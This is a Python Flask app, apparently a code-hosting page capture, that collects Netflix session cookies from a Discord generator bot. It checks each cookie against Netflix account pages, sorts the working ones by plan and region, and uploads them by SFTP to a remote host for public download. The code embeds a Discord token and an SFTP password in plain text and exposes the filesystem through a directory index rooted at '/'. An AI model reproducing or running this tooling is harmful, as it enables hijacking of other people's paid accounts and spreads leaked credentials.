File size: 10,820 Bytes
56a1b20
 
 
 
 
 
 
 
 
684e38a
56a1b20
 
 
 
 
af4a00b
4402dfe
71a55ed
a632adb
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
56a1b20
 
 
71a55ed
56a1b20
 
 
 
133b9b2
56a1b20
 
 
 
ac3cc4b
56a1b20
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
28212c0
56a1b20
 
 
 
 
52f5919
 
 
 
 
56a1b20
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
71a55ed
 
 
 
56a1b20
06761b2
 
 
 
56a1b20
 
beab300
 
56a1b20
 
 
 
 
 
 
 
 
 
71a55ed
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
56a1b20
 
 
71a55ed
6ebd98e
56a1b20
6ebd98e
52f5919
6ebd98e
 
4f424b2
6ebd98e
 
 
 
 
56a1b20
 
 
28212c0
 
7594c65
56a1b20
 
 
 
 
 
 
 
 
684e38a
 
 
 
 
 
 
 
 
 
 
0f77410
684e38a
 
 
6894fb4
684e38a
 
 
 
3b93031
61bc7ee
684e38a
6894fb4
684e38a
6894fb4
684e38a
3b93031
61bc7ee
684e38a
 
56a1b20
 
 
4f424b2
56a1b20
 
 
 
 
 
 
 
 
21762e7
 
2848f26
56a1b20
5377411
 
366abde
 
 
 
bbd36c3
366abde
 
 
 
 
 
6ebd98e
 
 
 
 
 
 
 
 
 
 
 
 
 
61bc7ee
6894fb4
61bc7ee
 
 
6ebd98e
56a1b20
 
 
 
 
 
366abde
56a1b20
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
684e38a
 
 
 
 
 
 
 
56a1b20
 
 
31efee3
56a1b20
 
 
 
366abde
 
5377411
28212c0
a632adb
28212c0
 
 
 
 
 
5377411
366abde
 
 
28212c0
af4a00b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
366abde
56a1b20
 
 
71a55ed
56a1b20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
import re
import requests
from bs4 import BeautifulSoup
from deep_translator import GoogleTranslator
import glob
import os
import shutil
import string
import random
from flask import Flask, abort, send_file, render_template, request
from flask_autoindex import AutoIndex
from threading import Thread
import time
import json
from urllib.parse import unquote
import paramiko
import fileinput
# os.remove("./cookies/test.txt")

class Unbuffered(object):
   def __init__(self, stream):
       self.stream = stream
   def write(self, data):
       self.stream.write(data)
       self.stream.flush()
   def writelines(self, datas):
       self.stream.writelines(datas)
       self.stream.flush()
   def __getattr__(self, attr):
       return getattr(self.stream, attr)
import sys
sys.stdout = Unbuffered(sys.stdout)


def send_retrieve_cookie_msg(channelid):
  print("getting cookie")
  secret = os.environ['DISCORD_CODE']
  # secret = "NDkxOTgyMTQzNjMxOTE3MDU2.GCpHUY.KE2TfOK0LmVKnJyE3isogvXvE3YCNnnKvmAHHo"
  print(secret)
  data = {"content": "c.gen netflix"}
  headers = {"authorization": secret}
  r = requests.post(
    "https://discord.com/api/v9/channels/1263391336594276356/messages",
    data=data,
    headers=headers)
  time.sleep(10)
  os.chdir("./cookies/")
  if  r.status_code != 429:
    headers = {'authorization': secret}
    r = requests.get(
      f' https://discord.com/api/v9/channels/{channelid}/messages?limit=1',
      headers=headers)
    jsonn = json.loads(r.text)
    # n = 0

    for value in jsonn:
      # n = n + 1
      S = 6
      ran = ''.join(random.choices(string.ascii_uppercase + string.digits,
                                   k=S))
      # attachmentUrl = value['attachments'][0]
      try:
        attachmentUrl = value['attachments'][0]['url']
        filename = str(ran) + ".txt"
        response = requests.get(attachmentUrl)
        open("old" + filename, "wb").write(response.content)
        s = 1
        with open("old" + filename, 'r') as r, open(filename, 'w') as o:
          for line in r:
            #strip() function
            if line.strip():
              if (s == 1):
                o.write("# Netscape HTTP Cookie File\n")
                s = 2
              o.write(line)
        os.remove("old" + filename)
      except Exception as e:

        print(e)
        pass
  else:
    print("cooldown")

  os.chdir("../")


def parseCookieFile(cookiefile):
  x = ""
  """Parse a cookies.txt file and return a dictionary of key value pairs
    compatible with requests."""

  cookies = {}
  with open(cookiefile, 'r') as fp:
    for line in fp:
      if not re.match(r'^\#', line):
        lineFields = line.strip().split('\t')
        try:
          cookies[lineFields[5]] = lineFields[6]

        except:
          print("Invalid cookie")
          pass
    if x == "fail":
      return "fail"
    else:
      return cookies

def fixCookie(cookiefile):
  for line in fileinput.FileInput(cookiefile,inplace=1):
    if re.match("======",line):
      break
    print(line.replace("\n",""))

def getNetflixInfo(cookiefile):
  cookies = parseCookieFile(cookiefile)
  # print(cookies)
  if cookies != "fail":

    r = requests.get("https://www.netflix.com/BillingActivity",
                     cookies=cookies)
    print(r.url)
    if "login" in r.url:
      print("Login Page")
      os.remove(cookiefile)
    else:
      soup = BeautifulSoup(r.content, "html.parser")
      try:
        print(r.url)
        billingDate = soup.find("div", {
          "data-uia": "streaming-next-cycle"
        })
        NetflixLocation = soup.find("div", {
          "data-uia": "loc"
        })['lang']
        print(NetflixLocation)
        print(billingDate)
        try:
          billingDate = billingDate.get_text()
        except:
          billingDate = " "
        planName = soup.find("div", {"data-uia": "plan-name"})
        print(planName)
        
        planName = planName.get_text()
        billingDate = GoogleTranslator(source='auto',
                                       target='en').translate(billingDate)
        try:
          lang = soup.find("html", {"lang": 'en'}).get_text()
          lang = "English"
        except:
          lang = ""
          pass
        planName = GoogleTranslator(source='auto',
                                    target='en').translate(planName)
        
        print(billingDate + " " + planName + " " + lang + " " +str(NetflixLocation))
        try:
          x = requests.get("https://help.netflix.com/en/node/123279/" +str(NetflixLocation[NetflixLocation.find("-")+1:]))
          soup = BeautifulSoup(x.content, "html.parser")
          extraMembebr = soup.findAll('p')
          try:
              for i in extraMembebr:
                  if("unavailable" in i.string):
                      # print(i)
                      extraMembebr = ""
              
          except:
              extraMembebr = "EM Available"
        except:
          pass
        S = 3
        ran = ''.join(
          random.choices(string.ascii_uppercase + string.digits, k=S))
        cookieFileName = billingDate + " " + planName + " " + lang + " "+str(NetflixLocation)+" "+extraMembebr+ " (" + str(ran) + ").txt"
        newCookieFile = "../Membership/" + cookieFileName
        shutil.move(
          cookiefile, newCookieFile)
        fixCookie(newCookieFile)
        ftp,ssh_client = sftp_connect()
        files = ftp.put(newCookieFile,"./domains/hashir672.serv00.net/public_html/Membership/"+cookieFileName)
        
        print("uploaded ",files)
        # print('connection established successfully')

        ssh_client.close()
        os.remove(newCookieFile)

      except Exception as e:
        print(e)
        f = open("../Membership/error.txt", "a")
        f.write(str(e) + "\n\n")
        f.close()
        print("\n Moving in noMember")
        S = 10
        ran = ''.join(
          random.choices(string.ascii_uppercase + string.digits, k=S))
        shutil.move(cookiefile, '../NoMembership/NoMember' + str(ran) + ".txt")
  else:
    os.remove(cookiefile)
    print("cookie removed")

def getNetflixInfoWithApi(cookiefile):
  url = "https://hashir672.serv00.net/Membership/"+str(cookiefile)
  response = requests.get(url)
  if response.status_code == 200:
      with open(cookiefile, "wb") as file:
          file.write(response.content)
          print("File downloaded successfully!")
  else:
      print("Failed to download the file.")
      return "Invalid Link"
  cookies = parseCookieFile(cookiefile)
  
  # print(cookies)
  if cookies != "fail":

    r = requests.get("https://www.netflix.com/browse",
                     cookies=cookies)
    print(r.url)
    if "login" in r.url:
      print("Login Page")
      thr = Thread(target=removeCookieFromServer,args=(cookiefile,))
      thr.start()
      return "Not working"
    elif "browse" in r.url:
      soup = BeautifulSoup(r.content, "html.parser")
      return "working"
  else:
    thr = Thread(target=removeCookieFromServer,args=(cookiefile,))
    thr.start()
    return "invalid cookie"


def mainTask():
  print("running cookie retriever")
  send_retrieve_cookie_msg(1239589658309034055)
  time.sleep(5)
  print("running netflix checker")
  os.chdir('./cookies/')
  for fileName in glob.glob("*.txt"):
    print(fileName)
    getNetflixInfo(fileName)
  os.chdir('../')

def testTask():
  os.chdir('./cookietest/')
  getNetflixInfo("./cookie.txt")
  os.chdir("../")

def backupTask(location,filename):
  archived = shutil.make_archive('./'+filename, 'zip', location)
  header = {
      'authorization': os.environ['DISCORD_CODE'],
  }
  files = {
      "file" : ("./"+filename+".zip", open("./"+filename+".zip", 'rb'))
  }

  channel_id = "1193267345079156746"

  r = requests.post(f"https://discord.com/api/v9/channels/{channel_id}/messages", headers=header, files=files)

def sftp_connect():
    # create ssh client 
    ssh_client = paramiko.SSHClient()

    # remote server credentials
    host = "s1.serv00.com"
    username = "hashir672"
    password = "gVlwXbMsxPAA36%!OSIm"
    port = 22

    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh_client.connect(hostname=host,port=port,username=username,password=password)
    ftp = ssh_client.open_sftp()
    return ftp,ssh_client
def removeCookieFromServer(cookiefile):
    os.remove(cookiefile)
    ftp,ssh_client = sftp_connect()
    ftp.remove("./domains/hashir672.serv00.net/public_html/Membership/"+cookiefile)
    ssh_client.close()

app = Flask(__name__)


@app.route('/', defaults={'req_path': ''})
@app.route('/<path:req_path>')
def dir_listing(req_path):
  BASE_DIR = './Membership' #/var/task/api/Membership
  # Joining the base and the requested path
  abs_path = os.path.join(BASE_DIR, req_path)
  abs_path = unquote(abs_path)
  

  # Check if path is a file and serve
  if os.path.isfile(abs_path):
    return send_file(abs_path)

  # Return 404 if path doesn't exist
  if not os.path.exists(abs_path):
    return str(abs_path)
    # return abort(404)
    
  # Show directory contents
  files = os.listdir(abs_path)
  return render_template('files.html', files=files)


@app.route('/alive')
def alive():
  return "Keep Alive"


@app.route('/main')
def main():
  # thr = Thread(target=testTask)
  thr = Thread(target=mainTask)
  thr.start()
  # mainTask()
  return 'Hello from Flask!'
@app.route('/check')
def check():
  cookieFile = request.args.get('cookie')
  if(cookieFile==""):
    cookieFile="hello"
  print(cookieFile)
  checkCookie = getNetflixInfoWithApi(cookieFile)
  return str(checkCookie)
@app.route('/test')
def test():
  thr = Thread(target=testTask)
  # thr = Thread(target=mainTask) 
  thr.start()
  # mainTask()
  return 'Hello from Flask! test'

@app.route('/backup')
def backup():
  thr = Thread(target=backupTask,args=("./Membership","backup",))
  # thr = Thread(target=mainTask)
  print("backup Start")
  thr.start()
  # mainTask()
  return 'Backup Started of Memberhship'

@app.route('/backupNoMembership')
def backupNoMembership():
  thr = Thread(target=backupTask,args=("./NoMembership","backupNoMembership",))
  # thr = Thread(target=mainTask)
  thr.start()
  # mainTask()
  return 'Backup Started of NoMemberhship'
@app.route('/sftp_test')
def sftp_test():
  ssh_client = paramiko.SSHClient()

  # remote server credentials
  host = "s1.serv00.com"
  username = "hashir672"
  password = "gVlwXbMsxPAA36%!OSIm"
  port = 22

  ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  ssh_client.connect(hostname=host,port=port,username=username,password=password)
  ftp = ssh_client.open_sftp()
  files = ftp.listdir()

  print("Listing all the files and Directory: ",files)
  # print('connection established successfully')

  ssh_client.close()
  return str(files)


ppath = "/"

AutoIndex(app, browse_root=ppath,)